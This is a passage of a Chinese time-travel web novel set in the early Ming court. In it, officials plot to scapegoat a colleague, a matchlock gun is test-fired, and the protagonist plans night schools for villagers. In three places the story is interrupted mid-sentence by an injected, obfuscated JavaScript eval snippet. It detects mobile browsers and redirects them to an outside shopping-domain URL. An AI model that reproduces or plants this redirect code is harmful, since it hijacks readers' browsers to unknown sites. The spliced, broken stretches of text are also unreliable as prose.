“……”被自己儿子说得有些尴尬,老朱缓了缓才回话:“对了,火器的事情,还得跟紧些,今天有几个人,在那弹劾赵集了。” “弹劾赵大人?” “毕竟他许多天没上朝了……是户部那郭桓,还有工部的麦至德。” “嗯?有些奇怪……”朱标沉吟了片刻,但是最终还是没什么头绪,只能摇了摇头。 “有什么奇怪的,那麦至德和赵集不和,不是人尽皆知的事情么。” “但是这郭桓,怎么也会弹劾赵集?” “确实,有些奇怪……算了,这些小事,火器,新粮,肥料才是大事,标儿,你且把心思放在这些事上吧。” “是!” ———————————————— “哇……头好痛……” “水……” “谁压我手了……” “九……三江?” “呕……” 这是永乐庄,朱安宁小院,屋内的光景。 朱安宁被几声吵闹吵醒。 他也是头晕脑胀。 他只记得昨夜,最后自己好像还被赵集拉着,喝了不少五粮液。 真是造孽啊,混酒喝,怪不得趴下了…… 真难受啊。 他哀嚎了两声,却也发现喉咙干得很,不得已,只能死狗一般爬起来,往房车那里挪去。 然后在冰箱找到点冰水,倒进喉咙里才略微清醒了点。 也得以顺便洗漱,换了身衣裳。 不得不说,喝水加洗澡确实是解除宿醉最快的方法。 所以他很快就得以神清气爽的出到院子里。 看到的却是几个人,一脸 萎靡地在那桌前冲着茶。 “赵大人,戚叔……你们昨晚也喝得太猛了……” 朱安宁刚关上房车门,便开始抱怨。 “是朱大人的酒烈啊……唉哟……我脑袋……” 不止是赵集,连常年喝酒的戚祥都在那面露苦色。 烈? 你们也知道烈。 要不是最后自己按着,你们这几个叼毛都要论支吹了……这可是五粮液啊! 一边的李景隆更是萎靡得不行,他摇摇晃晃瘫在桌椅上,那是动弹不得。 一众人里面,就朱棣刘廌刘畾情况稍微好点。 朱棣是真能喝,而刘廌刘廌,则是喝的相对少。 所以他们三人正忙活着沏茶,想给众人解酒。 赵集和戚祥,是连喝几杯,然后终于是恢复了点血色,勉强站了起来。 “还有要事,先走一步。” 他们拱了拱手,对着朱安宁和一众人说道。 说完便离开了小院。 朱安宁看着两人的背影,也是觉得有些好笑。 喝醉了第二天还要上班,这什么痛苦事件。 幸好自己不用……无业游民真爽。 而剩下的人,自然还在分茶水。 一边喝是一边叹气,缓解不适。 当朱棣再次把茶水分到茶杯中时,他环视了一周,终于想起了自己还有个弟弟。 “嗯?五弟呢?” “对哦,小周呢?” 朱安宁也是环视了一圈。 他还是记得自己昨夜和朱橚长谈了好久的。 怎么今儿没见着他人…… 不是喝高了摔外面去了吧…… 一想到这个可能性,朱安宁是连忙开口对朱棣说道:“你赶紧去院外看看,你弟是不是摔外面了……外面可是有河的,他别滚进去了啊!” 这一套说法,是富有想象力的,直接是把朱棣说得一愣。 “不至于吧……” “怎么不至于,我大学……呸,我还在域外时,同伴喝酒喝到脱衣服脱裤子当街奔走的都有……” “这……这多少有点伤风化吧。” 刘廌有些咋舌。 朱安宁却挥了挥手,回道:“哎呀你们别啰嗦了……赶紧找一找吧。” 他示意众人赶紧动起来。 朱棣也是连忙点了点头,毕竟是自己的胞弟…… 正当他顶着宿醉头晕,一溜小跑,跑到院门口时,朱橚却也恰好推门走了进来。 两人差点撞了个满怀。 “四哥?” “五弟,你跑哪去了……” “我……我回宫了。”朱橚快速而又细声地回应道。 这让朱棣是直接皱起了眉头。 回宫? 回去干嘛…… 他满脸不解。 朱橚却也是继续快速解释了下去:“我去和父皇和大哥说事去了,新粮和肥料,我最熟悉……哥,我不想就藩先……” 这一番解释,直接是让朱棣惊得跳脚。 他连忙拉着朱橚左看右看起来。 “父皇没揍你吧……嗯?好像也没事啊,应该是大哥帮忙拦住了,你说你是不是想不开,敢说这样的话……”朱棣在那边滔滔不绝,宿醉是被自己的弟弟的话吓醒了大半。 而朱橚则是有点哭笑不得,虽然今日他也做好了挨揍的准备。 但是没想到……父皇居然答应了…… 他连忙开口阻止了朱棣继续看自己有没挨揍…… “四哥,父皇答应了。” “对,不答应就对了,怎么可能答应你嘛,就藩可是大事,你下次切莫如此……嗯?答应了?”朱棣说了老半天,终于是反应了过来。 那眼睛是瞪得像铜铃。 “居然答应了?!那你不就藩了?” “时间往后压,父皇让我去五军都督府,我自身是不能挂职的,大哥便帮我要了刘畾刘廌和九江他们三人去帮忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378769|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “五军都督府?屯田?” “对。” 朱棣深吸了一口气。 突然抱了下自己的五弟。 然后笑了起来。 “你也终于长大了。” “哥……你也比我大不了多少。” “也是大!” 两人嘀咕的声音不大。 但是确是是花了些时间。 朱安宁那是老早就看到了朱橚走进来。 看起来还算清醒和得体。 应该没有做什么喝醉酒裸奔之类的破事,真是可喜可贺。 而看着两兄弟在那嘀嘀咕咕了许久,他也终于是不耐烦。 “你们进来讲嘛,站门口干嘛。”他对着两人招了招手。 是打断了朱棣和朱橚的聊天。 两人连忙回到了桌前,朱橚一路走回来,也是口渴。 没有顾上那么多,他拿起茶水便喝了起来。 幸好不算太烫。 “你回城里了?”朱安宁看他这口渴的样子,随口猜了句。 却没想到朱橚真的点了点头。 这让场中的人,全都看向了他。 朱橚,是五皇子,他回应天府能回哪里? 所以众人皆是有些吃惊。 只有朱安宁,心里想的是。 喝醉酒,还敢回家,有病啊,不怕挨揍? 朱橚看了眼众人,本来是犹豫是否这个时候说的。 但是现在又没有外人,他索性也是开了口。 “我去见大哥了。” 这句话的含义,有点深。 因为他大哥,可是太子。 李景隆刘廌刘畾,那是麻溜地坐直了身子,幸好此时宿醉不适感已经消退很多。 “大哥说了,新粮也好肥料也好,太子认为都是大事,而只有我们几个熟悉新粮和肥料,所以说我们,是时候为朝廷效力了。” 朱橚话是说给众人听,但是抬头看得却是朱安宁。 他能鼓起勇气去面对自己的老爹,还是因为昨晚朱安宁的话语。 只见朱安宁也是愣了愣。 这是他早就想做了。 而且还给那伍文提了。 没想到昨晚喝顿酒,这伍周居然就跑去找他大哥说事了。 现在来看好像还成了? 这不是天助我也么? 所以他哈哈大笑了起来。 “你答应了?” “我答应了,太子还交代了,季畾,季廌,李三江皆是熟悉新粮肥料之人,自当为此事出力。” 这确实也是朱标的本话,所以朱橚说得很是直接。 只见被点名的三人,那是愣了愣,然后忍不住都站了起来。 “自当如此。” “自当如此。” “自当如此。” 三人是一起回了话。 方向自然是皇宫的方向。 这可以算是太子的旨意了,他们现在是在领旨。 “啧,还是太子话好使,我说就不行,他说就行,真是……” 朱安宁话里提着太子,语气却毫无敬意。 这是让众人都有些尴尬。 不过多少也是习惯了朱安宁的言论,没有太过在意便是了。 只见朱安宁又挥了挥手,示意他们坐下。 “拜完太子就坐下喝茶,一个两个醉得要死的样子,对了小周,太子有没说让你们去哪?军屯这事,究竟是户部管还是工部管?” 朱安宁喝了口茶,问出了困扰了许久的问题。 朱橚则是细细地解释了起来。 “工部管水利,田还是归户部管,但是因为是军田,五军都督府也是管的。” 这话听完,朱安宁是直接就皱起了眉头。 完犊子。 又是这种共管的情况。 现代的时候他就深受其害。 一个项目两个部门老大。 还是线条不一样的。 到时候我说我的,你说你的,那事情就不用干了。 他连忙追问了下去。 “哪边……权力大些?” “自然是五军都督府。” “那太子许诺,你们去的,应该是五军都督府吧?” “回先生,是的。” 这话说出来。 朱安宁终于也是舒了口气。 而刘廌刘畾李景隆,却也是有些惊喜。 五军都督府! 他们原本想的不过是给个地方的小官位。 怎么突然变成五军都督府的人了? 第一百六十六章 你怕这枪不炸? 应天府某府邸,礼部尚书赵瑁正在和户部侍郎郭桓喝着茶。 这屋内的摆设一看就不是什么便宜货,乌木、瓷器,甚至还有几幅元时传下来的名家作品。 无处不彰显这主人的富贵。 郭桓看着这摆设。 是在心里不住的叹气。 怎么能找这种人当队友呢……哎…… 但是找都找了,自己能怎样…… 只希望他就只在家里张扬,在外面千万不要这么大撒币就行…… 整个应天府的京官都是要么真简朴,要么装简朴。 他倒好,家里豪华得宛如皇宫别殿。 无语归无语,事情还是要办的。 在那金贵椅子上坐下的郭桓,直接就开了口。 然后开始往自己袖子里掏东西。 “赵大人,江南一带收上来的,已经散出去了。”他笑盈盈地汇报了今年粮食搜刮生意的情况。 “诶,郭大人,我们喝茶和喝茶,不要谈这些。”赵瑁却一副不是很想说这些的样子,呵呵笑了两声。 但是对郭桓递过去的宝钞,那可是直接笑纳。 惹得郭桓又是一阵无语。 你要装,能不能屋子也好好装一下,装一半不装一半……有点傻…… 但是客套话却也是只能继续。 “是是是,是我的不对,哈哈哈,这茶水……嗯?赵大人,这是武夷茶吧。” 郭桓看着对方收下宝钞,也是乐呵呵地笑了起来,两人心照不宣地开始扯淡。 “嗯?郭大人有品位,确实是武夷茶。”赵瑁眼睛一亮,一副见着了知己的样子。 赵瑁就如郭桓判断的那般,其实他并没有什么大的本事,之前不过是抱着浙东派的大腿,爬上来的而已。 也幸运他是浙东派上来的,不然一个胡惟庸案,死可能不会死,但是至少是要被撸下去的。 所以现在这个户部尚书赵瑁,就是一众高官的白手套而已。 “这茶可难得哟。”郭桓配合着回道。 “太平府族弟那边送过来的,好像是永昌侯家的管事所送。”赵瑁也不怕暴露自己的人际关系那是说得大大咧咧。 “永昌侯家管事,是蓝染吧,我有印象,是个干练的人,我族弟在太平府和他吃过饭,也说很看好他。”郭桓眼睛转了转,似乎想起了什么。 “这两年,好像他帮衬了不少对吧。” “对的,那要不得,给他举荐个方便点的职务?这得看赵大人了,我位卑言轻。”只见郭桓又是乐呵一笑,人畜无害。 位卑言轻?户部侍郎位卑言轻? 赵瑁虽然能力不多,但是这种基本的坑,他还是品得出来的。 当然他也只能在心里鄙夷,实际没有表露表情。 谁都不想动用自己的关系而已,仅此而已。 所以,两人都是默契地没有再提这件事。 不过今日郭桓过来,并非说就是给宝钞说闲话的。 他有更重要的事情想要商量。 只见他径直站起了身子。 走到门口,往外看了看,确定没有人后,还把门给掩好,才回到自己位置上。 没有喝茶水,他径直开口,轻声道:“赵大人,咱们的【俸禄】可不止江南太平府那一带的东西,别忘了城西那里,也有咱们的【俸禄】。” 赵瑁方才看着郭桓起身,关门,再回来,脸色瞬间也是收敛了不少。 应该是出事了。 他盯着郭桓,等他说完后,才开口。 “出事了?” 简单的三个字,问出来。 郭桓长吸了一口气。 “麦至德把那批兵器,送到了一些富庶的军屯卫所那边。” “哪批兵器?”赵瑁一时间有些懵。 毕竟这群人组成的集团,伸手的范围太大了。 城西矿只是其中的小小一部分而已。 “用民矿去制作的兵器……”郭桓无奈地补充了句。 这次赵瑁总算听懂,但是他也反问了一句。 “这有什么问题?难道你想送到边塞去,那些大老粗们,一掏出来打仗,不露底了么?”赵瑁眉头一皱,拿起茶水的手都抖了抖。 “麦至德自己打包票的,说是送去些不打仗的军屯里,过个一两年坏了就报损毁就好,结果其中一批送达的卫所附近出现了流寇,这批兵器,被拿出来用了啊!” 咚。 茶杯被砸在了桌面上。 赵瑁的脸色铁青了起来。 他们常年累月行事一直很是谨慎,想着做大做强的原则拉多了个看着靠谱的麦至德入伙,没想到这家伙这么坑。 而郭桓他也是苦笑连连,只能连忙劝慰了两句。 “赵大人小点声。” “我能小声么?那此事现在如何了?” “幸好那卫所里有我们的人,暂时搁置下来了,但是也瞒不了多久啊!” “你该如何是好?”赵瑁一时间有些慌神的样子。 郭桓又是一阵鄙夷…… 就这人,是怎么混到尚书这位置的。 要不是自己需要靠户部管田地赋税的权力去解决一些事 情,他是决不想和赵瑁合作的…… 只是现在也没办法了,他只能深吸一口气。 “今早,我和麦至德已经开始弹劾赵集了?” “赵集?那个工部侍郎?他不就是个天天蹲工部里像个工匠一样的疯子么?你们弹劾他干嘛?而且弹劾的理由还是疏于管教下属……” 这话问出来,郭桓差点想翻白眼…… 真就说得这么明白了,这赵瑁还不懂。 猪队友啊! “赵大人啊……”郭桓长长地叹了口气,有点带不动的感觉:“这件事总得需要有个人背锅,但是这锅可大可小,谁敢背?” “嗯?”赵瑁终于反应了过来:“所以你们想把这事按到赵集身上?” “不是想,而是必须,这次弹劾只是个引子,我们需要赵大人配合我们,明早继续弹劾他。” “弹劾什么?” “疏于管教,虞衡清吏司产出武器质量欠佳!” “陛下能信?” “我们上下一心,陛下不信,也得信!不然出事的就是我们了啊!” “那赵集?” “代替我们被惩戒一番,是他的福报。” “郭大人高见。” ———————————————————— 还在永乐庄的赵集,自然不知道自己已经被人弹劾了一次……如果知道自己被弹劾对属下疏于管教,他大概会脑淤血到怼人…… 实际上他上朝现在是断断续续,去两天不去两天。 更多的,他是在朱标的首肯下,泡在了这铁冶中。 日夜等待那火绳枪的完工。 而今天,理论上是两个批次的火绳枪,试做出样品的时间。 枪管早已已经磨好了。 不出他和朱安宁所料的是,那批刀剑熔铁铸造的,磨传速度要比后续用优质铁矿石炼出来的要快上许多。 几个主事官吏和磨铁的匠人,都是欲言又止。 赵集和朱安宁都是了然于胸,也是权当没看到他们的目光。 甚至于有主事想上来跟赵集说的时候,都被赵集所打断。 而今天,枪管和其他零部件,将会组装在一起,变成一支能够杀人的新式火绳枪。 这也是为什么赵集明明宿醉还有些难受,都要坚持出来这里镇守。 戚祥此时也站在他身边,作为亲军金吾,他是知道赵集在干嘛的。 打过仗的他,怎么会放过这种新鲜事物的诞生的。 反正今儿他要处理的事情也已经交代好了,便也就陪着赵集在这等。 不知过了多久。 两个匠人,一脸激动地跑了出来,把手上的东西交到了两名主事手中。 主事们也是一脸兴奋,他们直接冲到了赵集和戚祥的面前。 大喊了一声。 “恭喜大人,试做的火绳枪已经完工!” 两人早就看见了长长的枪管。 自然也知道是什么。 只见火绳枪身长达三尺,赵集他笑着地接过了枪,摸了摸那铁铸的枪管,能够感受到,里面将会爆发何等的力量。 戚祥也是忍不住,上前一步,在主事和匠人惊讶的目光中,接过了另外一杆枪。 他细细地端详了起来,枪身一侧,巧妙地设有一曲杆,是通火之路,那里连接着枪膛与燃烧的火绳。 火绳,这看似平凡却至关重要的部件,实则是用麻绳或棉绳精心浸泡硝酸钾或其他盐类溶液后晾干而成,能缓慢而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378770|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳定地燃烧,确保在关键时刻点燃火药,激发枪膛内的弹丸,如电光火石般射向敌人。 就是这根火绳,完美地把火器的历史一分为二。 从火绳枪开始,其实就已经是近代步枪的雏形。 和之前的火铳相比,已经不是一个时代的产物。 戚祥自然是识货的,他感叹地看了眼那枪管和火绳,不住地点头。 “真乃神兵利器,何等天才,才能想出这火绳外挂的法子,还有这种枪管……这般细长,会不会太过追求威力……赵大人,这真的不会炸?” 作为开过枪的老兵,戚祥是有发言权的。 其实他们根据自己的经验,是知道枪管越细长,发射的弹药就威力越大的。 但是这样对枪管的负荷也是极大的,像这种长管枪,如果枪管质量不过关的话,是极易炸膛的。 听见戚祥的问题。 赵集也是忍不住笑了起来。 他是能认出这两杆枪的标志的。 戚祥手里那把,其实就是刀剑回炉熔铁造的……按朱安宁的说法必炸。 而自己手里这把才是真正精铁铸造,能够展示威力的好枪。 不过这事可不能透露给戚祥,这事他和朱安宁的秘密。 于是他回到:“放心,这铸铁的过程是经过朱大人改造过的,工匠们也初步看过了,都说这铁质地非常好。” “嗯,安宁小弟……嗯,现在应该叫朱大人了,他说没问题,那应该就没问题了。” 戚祥对朱安宁已经是盲目自信,他拿着这枪,上手瞄了瞄,多少有点爱不释手的意思。 他总觉得这枪,肯定要比自己用过的 火枪好用不少。 而此时的赵集,却也是寻了个机会,遣人去知会了朱安宁。 毕竟这大喜事,应当也要让他知晓才行。 不多时。 朱安宁便只身一人,从他的小院里冲了出来。 他还未走到赵集他们跟前,就已经嚷嚷起来了。 “赵大人,造出来了?” 脸上的喜悦是瞒不住的。 赵集看见朱安宁也是大笑了起来。 “朱大人,枪在这里。” 赵集连忙迎了上去。 然后小声继续说道。 “目前这有这两杆,剩下的大约明天也能做出来了,怎样,我们先去试一试?” “怎么?赵大人,你是怕不炸膛?” “……这……我更想试一试这枪的威力是否真的有这么大。” “那简单,后山那里,我们找两棵树当靶子,一试就知晓。” 两人的对话略显私密。 但是戚祥却眼睛都没歪。 能做亲兵的人,眼力见还是有的。 直到赵集和朱安宁走回这铁冶的屋檐下,戚祥才开口。 “此等新火器,能早点给到军队用就好了。” “呵呵,戚叔,没那么快,我们还得试枪呢?” “现在?” “嗯,对了戚叔,学堂那边你帮我过去和大伙说一声,过些日子季廌季畾还有李三江这几位先生呢,有其他要事,就不在我们永乐庄了,届时会有新先生过来。” 这话说得对朱安宁来说很稀松平常。 他只是想把戚祥给支走而已。 那能想到不仅是戚祥,连赵集都一下子楞在了那里。 怎么回事,怎么一下子要走那么多人? 难道是……前几日朱安宁的提议,上位采纳了? 两人都不约而同地想到了收获粮食那天的事情。 然后又都一起看向了朱安宁。 种粮有大功,又那几人的先生。 到时推广开来,朱安宁的赏赐绝对是不少的。 应天府,可能又会有一家新的勋贵,要出现了。 而朱安宁是绝没有想那么多的,他只想快点去试试火绳枪的威力。 他以前可是没有碰过枪这东西的。 所以多少有点新鲜,想着古代明朝,能体会一下美丽奸人民的开枪日子,好像也还不错。 赵集也有些跃跃欲试,他想知道是否真的如朱安宁所说有这等威力。 两人是一拍即合,直接就把戚祥丢在了那里。 也是让戚祥一阵无奈,只能按照朱安宁的指示,去学堂那边。 第一百六十七章 产业教育 朱安宁和赵集带着他们新制作的火绳枪,满怀期待地来到了后山上。 他们找了一个相对空旷且安全的位置,防止发生什么意外。 幸好这里原本就是应天府郊外……算得上是郊外中的郊外,若不是朱安宁开垦了这一片田,这里还是荒地。 所以荒地边上的山里,真就是人迹罕至。 他们也不太担心伤到人。 也不必怕被别人看见。 火绳枪的构造要比一根管子,掏个点火孔就叫枪的火门枪要精密很多。 所以到达位置的赵集,那是主动就把枪递给了朱安宁,示意他来试。 朱安宁也没有推托。 他虽然没开过枪,但是总归是看过开枪的。 “赵大人,火折子带了吧。”朱安宁扛着枪,此时的他,很是兴奋。 这枪可太重要的了,现代步枪的原型,自己现在就捣腾出来了,明朝后面一堆牛人,这枪都甩他们脸上了,他们不会改良不出来吧。 想想看,带着步枪的明军,那就真的是船坚炮利了…… “带了。”面对朱安宁的问题,赵集一把掏出了火折子,回道,他也是跃跃欲试。 毕竟折腾了这么久,这枪终于造出来了。 比起现在那些傻大黑粗的火门枪。 赵集看这两杆火绳枪,是怎么看,怎么喜欢。 可惜其中一杆,应该是难逃炸膛厄运的。 “就那两棵树吧。”朱安宁很快确定好了目标。 “这么远?”而赵集自然是有些咋舌。 听朱安宁说射程是一回事,现在用肉眼看到,又是一回事。 “好像是有点远哦……不知道打不打的中……”瞄了下距离,朱安宁也突然觉得有点难度。 “试一试?” “试一试!” 两人小心翼翼地拿出火绳枪,仔细检查了一遍,确保每一个部件都安装得当,火药和子弹也已经妥善装载。 一切准备就绪后,朱安宁和赵集相互对视了一眼,眼中闪烁着兴奋和紧张的光芒。他们深吸一口气,然后按照事先商量好的步骤,开始点燃火绳,准备发射。 当然,只发射好的那杆枪。 朱安宁给的图纸相当详尽。 所以这火绳枪并不是什么早期版本的类型。 而是已经集合了扳机,可以下压火绳到弹药舱去点燃火药的款式。 这虽然极大地提高了制作难度。 但是对于使用者而言,这款式才是简单上手的。 火绳在燃烧,发出微弱的光芒。 朱安宁紧紧地握住火绳枪,在那假模假样地瞄准着…… 游戏他打得多,真枪那是不可能碰过的…… 终于,当火绳燃烧足够充分时,他果断地扣动了扳机。 “砰!”一声清脆的枪声在后山上回荡。 那枪管枪托处传来的震动,让朱安宁一阵气闷,火药的硝烟更是让他难受。 “中了?”赵集也没管那么多,兴冲冲的直接跑了过去。 朱安宁则小心地把火绳枪,放到了地面,才跟上去。 两人围着朱安宁瞄准的那棵树,是看了老半天。 然后,一起面面相觑…… 因为,没有找到击中的痕迹…… 这就很是尴尬了。 “没中?”赵集围着树绕了两圈。 “或许……或许是我没瞄准。”朱安宁也是多少有些无奈。 毕竟自己又不是专业的。 这树也挺远,打不中那再正常不过。 只是赵集他还未放弃。 在不知道多少圈后。 赵集咧嘴大笑了起来。 他把目光投向了不远处的一棵树上。 “朱大人,打中了,不过不是这棵,是那边的。” 顺着赵集指的方向,朱安宁,也看到了那棵倒霉的树,和那醒目的弹孔。 “这般距离,还有这般威力!”赵集倒吸一口凉气。 两人,对目而视,又是笑了起来。 ———————————————————————————— “咳咳……”火药燃烧,会产生一些黑烟。 而朱安宁,享受了n次这些黑烟。 所以,回到小院的他,是灰头土脸。 但是,心情却是止不住地愉快。 他哼着小曲,坐到了躺椅上,开始泡茶。 刚才和他一起试枪的赵集,已经兴冲冲地回了城里,至于另外一把炸膛枪,他们略微做了下改装,让火绳可以自己烧到那火药仓,毕竟他们连都不敢握着那枪去试……把枪安置到地面,让它自己击发是最保险的…… 七八发弹药射出去后,丝毫没有意外地,它炸了…… 声音巨大,威力惊人,枪管被那火药崩开。 就算是两人都有心理预期,依旧是被吓了一跳。 总而言之,今天的实验,是成功的。 两件事情都达成了目标。 所以朱安宁才会如此心情愉悦。 当他喝下热茶的时候。 朱橚领着几个人,从屋内走了出来。 他们收拾好了一些 衣物和个人物品,背了个包袱,出现到了朱安宁的面前。 “先生。” 朱橚先唤了声。 朱安宁还未来得及洗脸,那抬头的瞬间,是把几人吓了一跳。 “先生你怎么了!”李景隆那是直接喊了出声。 “啊?”朱安宁自然是莫名其妙。 “脸……” “哦,脸黑是吧……火药熏的……哎不说这个,你们这么快就收拾好了。” “新粮的事情,宜早不宜迟……”朱橚回道。 “也是也是,没想到你们这群家伙,都能混个官当当了。”朱安宁咧嘴笑了起来,配上黑色的脸,有点滑稽。 而包括朱橚在内的几人,都有些伤感,毕竟他们在这也住了一段时间,还在朱安宁这学到了不少的东西。 甚至于,他们未来的生活,其实都是被朱安宁改变的了。 “先生,你就没有什么想跟我们说的?”刘廌是忍不住,又问了句。 “有什么好说,有空回来玩,去了五军都督府,好好干活,别丢人现眼。” 这段话是话粗理不粗。 朱安宁想得也很简单……他们还在应天府,又不是去外地。 这有空了叫他们回院子吃个饭什么的,又不是什么难事。 几人听着是不知道该摆什么表情好。 但是仔细想想,这好像就是朱安宁的作风。 所以半晌,几人都是笑了起来。 “好,有空就回先生这里!”朱橚应了句。 “对了,先生,那乡学……”一直没有说话的刘畾,突然开了口。 “你们不用担心,还有我和伍燕在,那方孝孺过几日过来,他不也得给我打工啊!” “打工?” “呃……就是给我做工的意思。” 朱安宁拍了拍身上的火药粉末,站了起来。 拍了拍他们的后背。 说道。 “你们应该是要赶回城里去吧,快走吧,别晚了城门都关了。” “好,那先生,我们先回城里了。” 几人一同行了个弟子礼,没有再犹豫,一个跟着一个,向门外走去。 朱安宁就这般目送着他们离开。 当最后一人出了院门,他才长长地叹了口气。 “啧,有种班主任送毕业生去实习的感觉……”他摇了摇头,嘟囔了两句。 这批人,其实他也就是教了点皮毛的基础科学知识。 但是他们是真愿意学啊。 特别是朱橚。 这次去五军都督府挂职,朱安宁是对他们信心满满的。 这事可是太子都支持的,这意味老朱也是知情的。 明初有个最大的优点就是,君权相比后面要集中许多。 开国皇帝携天威,办事那是利索很多的。 这次的番薯,土豆,还有肥料的推广,应该……不会出什么意外吧,应该…… 朱安宁又喝了口热茶。 看到里面施施然走了个人出来。 正是朱棣。 院内的田已经收了,外面的稻田事情又少了许多。 所以今天的朱棣,难得地休息了一天。 无所事事的那种休息。 朱安宁给他倒了杯茶。 而朱棣刚坐下,就看到了乌漆嘛黑的朱安宁。 “哇……朱哥你去挖煤来啊……” “什么挖煤,这是火药……” “嗯?火绳枪成了?”朱棣的眼睛一下就亮了起来。 “成了成了,赵大人已经把枪带回应天府了,今晚估计就会呈上去给到洪武爷看了。” “这可太好了啊!” 朱棣握拳站了起来,很是激动。 “你激动个什么劲,坐下坐下……对了,小燕,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378771|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟他们几个走了,你也不送送。” “啊,屋里面已经和他们说了呀,而且朱哥,都在应天呢,只是不是住一个村,又不是见不着了。” “也是也是。” 两人相视一笑,一起喝下了杯中的茶。 院角落的那片田地,经过一季的辛勤耕耘,已经迎来了丰收。 地里的土豆番薯都被翻了出来,留下了一片空旷的土地,玉米倒是还没掰,选个日子再让伍文过来清点算了。 朱安宁扫视了一眼自己的小院,只觉得在阳光下显得格外宁静。 原本这里每天都闹腾不已,那几个家伙虽然还算知书达理,但总归就是些年轻人,免不了打闹嬉戏 现在少了他们,居然有了一种难以言喻的空荡感。 朱安宁和朱棣坐在院中的大树下,手中各自捧着一杯热腾腾的茶,茶香袅袅上升,与周围的宁静融为一体。 他们轻轻地啜饮着,相视一笑,眼神中多少有些感慨。 “时间过得真快。”朱安宁轻轻叹了口气。 “是啊,朱哥,没想到这么快都收获了,外面应该也快了。”朱棣接过话茬。 水稻已经挂穗。 收成只需要等待时日。 朱安宁已经盘算好了接下来的计划。 或者说,这本就是他最初的计划。 并不会因为说院子 里少了人帮忙就要搁置下来。 他依旧是打算实施下去。 “嗯,很快外面也有一阵农闲了,那我的新计划,也是时候实施了啊!” “新计划?”朱棣一阵疑惑。 他回忆了一番,确定自己好像没有听朱安宁说过什么。 朱安宁也懒得隐瞒,他嘿嘿笑了起来。 “乡学能给孩童上课,能不能给庄里的大人们,上上课呢?” 这句话,随着茶香,在院子里扩散。 传到了朱棣的耳中,让他是更加懵逼。 “大人?上课?”他不由得失笑起来:“朱哥……你是想让庄里那些大叔大娘去识字?” “识字只是其中一个环节,我需要的是他们识一些基本的字后,能够学一点我教你们的东西。” “啊?为什么啊?那田谁来照看?” 朱棣还是不解。 也不怪他。 如之前朱安宁所了解到的那般。 读书无论在哪个朝代,都属于是特殊事件。 他是需要消耗人力物力,家里的财力的。 而现在朱安宁想让那些大叔大娘都来识字,学东西,那谁来干活? 这就是朱棣懵逼的原因。 朱安宁也是先愣了愣,不是很明白朱棣为什么会反应那么大,只是很快他也想通了,应该是他没有说清楚。 只见朱安宁微微一笑,连忙补充道:“我又不是让他们白天学。” “那什么时候学?” “晚上,这叫夜校!” “夜校……?”朱棣只觉得朱安宁真是天马行空,想起一出是一出:“不是……朱哥,你让他们学东西,有什么意义……” “番薯和土豆,下一轮就要种下去了,你提前教好他们来,有问题?” “但是您不是说过么,实践出真知,这个待种植的时候,去现场教就好啦。” “狭隘了狭隘了,小燕啊,除了教这个,我还想让他们习惯学东西,未来,我们永乐庄,可能会有很多产业要落地哦。” “产业落地?”朱棣对这个词,那是一个字一个字都知道是什么意思,但是组合起来怎么那么奇怪啊! 而朱安宁此时却也没有继续解释。 他只是笑着喝茶。 穿越三件套,白糖玻璃加肥皂。 这……他是一个都没想弄。 他想的是,能不能,把肥料给工业化!他的石膏拌尿,其实是铵肥,含氮。 大量生产某一种东西,是需要熟练工人的啊。 而工人,是需要培训的啊。 这夜校,不就是必须要办了么。 而且他还准备了另外两种肥料的生产途径。 钾肥,磷肥,也是很重要的。 能把三种肥料配好。 让农民去用。 这也是要教的啊。 他越想,越觉得,基础教育,真踏马重要。 PS:4小时,想写6000的,结果这个点数了,才4000字。但是我知道你们是有想象力的,你们请把这4000字幻想成6000字,谢谢…… 第一百六十八章 九江做顿饭 成梁虽然只是帮助朱安宁管理那石膏矿,但是随着朱安宁几个学生的离开,朱安宁已经动了心思,想把他弄回永乐庄这边。 不然到时事情多起来,自己也不好处理。 而且石膏矿那边现在好像很稳定…… 这东西实际上在朱安宁大规模使用之前,那真就是使用价值有限。 不然蓝玉也不会那么爽快就交出来来。 所以当成梁又运了一批石膏过来后,朱安宁连忙叫住了他。 “阿梁,石膏矿那边应该没什么要紧事了吧。” “朱爷,那边没什么大事了,我提拔了个小管事,慢慢挖就是了。” “那你回永乐庄这边帮我?”朱安宁呲着牙,多少有点人贩子的感觉。 成梁却也没有多想,他径直点了点头。 “对了,朱爷,附近几个村子管事我都认识,您之前提的要收尿一事……我已经和他们谈妥了,这价钱您看合适么?” 成梁把早就记录在册的数字,递给了朱安宁看。 朱安宁只扫了一眼,便觉得有些诧异。 “怎么每个村子的都不一样啊……不对……同一个村都有不一样的……” 